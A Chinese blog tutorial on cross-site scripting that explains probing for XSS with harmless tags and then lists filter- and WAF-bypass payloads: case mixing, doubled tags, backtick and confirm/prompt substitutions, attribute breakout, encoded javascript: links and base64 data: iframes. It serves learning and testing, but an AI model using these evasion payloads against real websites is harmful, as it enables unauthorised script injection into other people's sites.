当前位置: 首页 > news >正文

XSS的应用

免责声明,本博客只是用来自身学习记录,不要运用里面的代码去进行违法犯罪行为。

XSS

首先需要知道的是xss误区,就是在不确定是否有XSS的情况下,不应该是直接上攻击payload,例如<script>alert(123)</script>,而是应该去进行一个XSS探测先确认有无XSS。
以下三种情况就是可能你直接一个payload过去毫无反应,但是你根本确定不了是否存在XSS

1.waf直接给你拦截了,你payload根本打不进去。
2.对方后端就过滤死了不让你使用</script>这种明显的标签。
3.对方压根就不允许弹框。

引用借鉴up主的关键句:XSS本质

XSS的本质原理就是解析了用户插入的标签,那么既然是解析标签,就可以插入没有攻击危害的标签进行先探测XSS。
如果解析标签成功,确认存在XSS,你再一步一步绕过那“三个大麻烦’,去搞攻击型payload看看是否存在XSS漏洞

下面都是无危害探测标签,基本不会触发任何WAF

<s>123
<h1>123</h1>
<p>123</p>
</tExtArEa><h1>123</h1>#
</tExtArEa><s>123#//--+
*"></tExtArEa><s>123#//--+

学习网站 XSS学习靶场

上面讲述了XSS的本质,就是看是否有网站解析,那网站解析结果就可以弹出来是否存在XSS,这个具体要看响应包,附以下截图
在这里插入图片描述
通过上面操作可以跳过waf,接下来说XSS的绕过手段

XSS绕过

一、XSS基础绕过

  • 大小写绕过
<Script>alert(1)</Script>
  • 双写绕过
<script<script>>alert(1)</sc</script>ript>
  • 禁用alert绕过
<img src="1" onerror="confirm('xss')"> (双引号可加可不加)
<script>confirm(1)</script>
<script>prompt(1)</script>
  • 禁用单引号
数字可以不加单引号
<script>confirm(`xss`)</script>
<script>confirm(/xss/)</script>
  • 过滤括号()
    可以使用反单引号代替 `
<script>alert`1`</script>
  • 禁用尖括号<>,只考虑在value属性里面
    也就是闭合value属性,加入触发事件
payload-hello' onmouseover='javascript:alert(1)'
  • 空格的代替
    空格的url编码为:%20
可替换成如下:
%09 %80a %8Ob %80c %Od %a0 /
  • 单引号的代替
    可以将单引号’换成飘号`

二、XSS混淆绕过

以下是比较好用的几个标签

</tExtArEa>'"<a/href="ja%26Tab;vas%26Tab;cript%26Tab;%26Tab;
%26Tab;:%26Tab;%26Tab;top%26Tab;[8680439..(30)]()">click_me</a>#
<div class=\"media-wrap image-wrap\"><img
src=\"https://img.threatbook.cn/c375eed802260503b4cee1086ea6
5f0e172480015227cf81a82d77.png\"
onerror=\"alert`1`\"/></div>
<script%20type="text/javascript">%20var%20reg%20=%20/test/;%
20var%20str%20=%20%27testString%27;%20var%20result%20=%20reg
.exec(str);%20alert(result);%20</script>

三、XSS编码加密绕过

套一层Base64

<iframe
src="data:text/html;base64,PFNDcmlwdD5hbGVydCgxKTwvU0NyaXB0Pg=="></iframe>

套两层Base64

<iframe
src="PG9iamVjdCBkYXRhPQ0KZGF0YTp0ZXh0L2h0bWw7YmFzZTY0LCBQSE5qY21sd2RENWhiR1Z5ZENnbmVITnpKeWs4TDNOamNtbHdkRDQ9Pjwvb2JqZWN0Pg=="></iframe>
http://www.xdnf.cn/news/76159.html

相关文章:

  • AI预测3D新模型百十个定位预测+胆码预测+去和尾2025年4月22日第60弹
  • 并发设计模式实战系列(3):工作队列
  • go语言八股文
  • 滴滴-golang后端开发-企业事业部门-二面
  • C语言文件操作完全手册:读写·定位·实战
  • Codeforces Round 1019 (Div. 2)
  • Qt -对象树
  • 极狐GitLab 中如何自定义角色?
  • 时序数据库IoTDB与OpenTSDB的对比分析
  • 理解字符设备、设备模型与子系统:以 i.MX8MP 平台为例
  • [U-Net-Dual]DEU-Net
  • 【上海大学数据库原理实验报告】MySQL数据库的C/S模式部署
  • WebRTC服务器Coturn服务器相关测试工具
  • 什么事Nginx,及使用Nginx部署vue项目(非服务器Nginx压缩包版)
  • 力扣2685(dfs)
  • 桌面我的电脑图标不见了怎么恢复 恢复方法指南
  • docker保存镜像到本地
  • 懒人一键搭建符号执行环境V5K3
  • 【VS Code】打开远程服务器Docker项目或文件夹
  • Dataway在Spring Boot中的引入以及使用教程
  • 【美化vim】
  • Element Plus表格组件深度解析:构建高性能企业级数据视图
  • 【C++ 类和数据抽象】构造函数
  • 智能体MCP 实现数据可视化分析
  • Java 安全:如何防止 SQL 注入与 XSS 攻击?
  • GAEA的技术优势:分层加密与去中心化数据治理
  • 《C++ 模板:泛型编程的核心》
  • 基于javaweb的SSM+Maven小区失物招领系统设计与实现(源码+文档+部署讲解)
  • 超越Dify工作流:如何通过修改QwenAgent的Function Call及ReAct方法实现对日期时间的高效意图识别
  • 【MySQL】005.MySQL表的约束(上)